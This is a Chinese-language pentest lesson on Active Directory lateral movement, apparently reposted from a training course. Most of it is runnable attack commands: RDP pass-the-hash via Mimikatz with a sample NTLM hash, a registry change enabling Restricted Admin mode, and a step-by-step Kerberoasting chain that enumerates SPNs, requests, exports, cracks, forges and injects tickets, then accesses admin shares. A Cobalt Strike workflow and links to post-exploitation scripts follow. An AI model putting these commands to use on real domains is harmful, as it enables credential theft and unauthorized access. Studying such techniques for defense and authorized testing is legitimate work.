69:內網安全-域橫向CobaltStrike&SPN&RDP


思維導圖

本課重點:

  • 案例1:域橫向移動RDP傳遞-Mimikatz
  • 案例2:域橫向移動SPN服務-探針,請求,導出,破解,重寫
  • 案例3:域橫向移動測試流程一把梭哈-CobaltStrike初體驗

案例1-域橫向移動RDP傳遞-Mimikatz

除了上述講到的IPC,WMI,SMB等協議的鏈接外,獲取到的明文密碼或HASH密文也可以通過RDP協議進行鏈接操作。

RDP協議連接:判斷對方遠程桌面服務是否開啟(默認:3389),端口掃描判斷

RDP明文密碼鏈接
windows: mstsc
mstsc.exe /console /v:192.168.3.21 /admin
linux: rdesktop 192.168.3.21:3389

RDP密文HASH鏈接
windows Server需要開啟 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默認開啟,
同時如果Win 7 和Windows Server 2008 R2安裝了2871997、2973351補丁也支持;

開啟命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

開啟后運行:
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

案例2-域橫向移動SPN服務-探針,請求,導出,破解,重寫

kerberos中的spn詳解:https://www.cnblogs.com/backlion/p/8082623.html

黑客可以使用有效的域用戶的身份驗證票證(TGT)去請求運行在服務器上的一個或多個目標服務的服務票證。DC在活動目錄中查找SPN,並使用與SPN關聯的服務帳戶加密票證,以便服務能夠驗證用戶是否可以訪問。請求的Kerberos服務票證的加密類型是RC4_HMAC_MD5,這意味着服務帳戶的NTLM密碼哈希用於加密服務票證。黑客將收到的TGS票據離線進行破解,即可得到目標服務帳號的HASH,這個稱之為Kerberoast攻擊。如果我們有一個為域用戶帳戶注冊的任意SPN,那么該用戶帳戶的明文密碼的NTLM哈希值就將用於創建服務票證。這就是Kerberoasting攻擊的關鍵。

SPN掃描

  • 當計算機加入域時,主SPN會自動添加到域的計算機賬號的ServicePrincipalName屬性中。在安裝新的服務后,SPN也會被記錄在計算機賬號的相應屬性中。
  • SPN掃描也稱為”掃描Kerberos服務實例名稱”。在活動目錄中發現服務的最佳方法就是SPN掃描。SPN掃描通過請求特定SPN類型的服務主體名稱來查找服務。與網絡端口掃描相比,SPN掃描的主要特點是不需要通過連接網絡中的每個IP地址來檢查服務端口(不會因為觸發內網中的IPS、IDS等設備的規則而產生大量的警告日志)。因為SPN查詢是Kerberos票據行為的一部分,所以檢測難度很大。
  • 由於SPN掃描是基於LDAP協議向域控制器進行查詢的,所以,攻擊者只需要獲得一個普通的域用戶權限,就可以進行SPN掃描。
  • 在域環境中,發現服務的最好辦法就是通過”SPN掃描”。通過請求特定SPN類型服務主體名稱來查找服務。
1探針
setspn -q */*
setspn -q */* | findstr "MSSQL"

2請求票據
# 刪除緩存票據
klist purge

# powershell請求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"

# mimikatz請求
mimikatz.exe "kerberos::ask /target:xxxx"

# 查看票據
klist

3導出票據
# mimikatz
mimikatz.exe "kerberos::list /export"

4破解票據
# 破解工具tgsrepcrack.py python3環境運行
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

5重寫票據
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 將生成的票據注入內存

6利用
dir //xxx.xxx.xxx.xxx/c$

kerberoast下載:https://github.com/nidem/kerberoast

環境准備

案例演示

<1>探針

setspn -q */*
setspn -q */* | findstr "MSSQL"

探針到這么多服務后,我們完全可以按照相關服務的常規攻擊手段進行攻擊,不一定非要用本案例演示的破解票據手段。

<2>請求票據

klist purge //刪除緩存票據
klist	//查看票據

# 請求票據 
# powershell請求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"

# 或者mimikatz請求
mimikatz.exe "kerberos::ask /target:xxxx"

<3>導出票據(到mimikatz運行目錄)

# mimikatz
mimikatz.exe "kerberos::list /export"

<4>破解票據

# 破解工具tgsrepcrack.py python3環境運行(將票據拖到本地破解)
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

破解成功,密碼是Admin12345,可以為后續滲透測試做准備。

這種方法得到只是mssql服務賬戶密碼(權限不大),而mssql系統管理員賬戶密碼我們是無法得到的。

<5>重寫票據(屬於后續攻擊,不一定會成功,-u500指的是管理員用戶,-g512指的是管理員組)

python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 將生成的票據注入內存

<6>利用

dir //xxx.xxx.xxx.xxx/c$

案例3-域橫向移動測試流程一把梭哈-CobaltStrike初體驗

CobaltStrike4.0用戶手冊:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取碼:dtm2

CS神器大概流程:啟動-配置-監聽-執行-上線-提權-信息收集(網絡,憑證,定位等)-滲透

1.關於啟動及配置講解
2.關於提權及插件加載
3.關於信息收集命令講解
4.關於視圖自動化功能講解

CobaltStrike Aggressor 腳本合集(可以自行在GitHub搜索):

https://github.com/harleyQu1nn/AggressorScripts
https://github.com/Und3rf10w/Aggressor-scripts
https://github.com/001SPARTaN/aggressor_scripts
https://github.com/rasta-mouse/Aggressor-Script
https://github.com/threatexpress/aggressor-scripts
https://github.com/ramen0x3f/AggressorScripts
https://github.com/FortyNorthSecurity/AggressorAssessor
https://github.com/michalkoczwara/aggressor_scripts_collection
https://github.com/ars3n11/Aggressor-Scripts
https://github.com/gaudard/scripts/tree/master/red-team/aggressor
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/vysecurity/Aggressor-VYSEC
https://github.com/killswitch-GUI/CobaltStrike-ToolKit
https://github.com/rsmudge/ElevateKit (第三方提權攻擊)
https://github.com/QAX-A-Team/CobaltStrike-Toolset
https://github.com/DeEpinGh0st/Erebus (Erebus CobaltStrike后滲透測試插件,持續更新)
https://github.com/branthale/CobaltStrikeCNA
https://github.com/pandasec888/taowu-cobalt-strike(倉庫已關閉)

紅隊實戰演練環境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug  提取碼: taqu

參考:
https://hackergu.com/kerberos-sec-spn-search/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM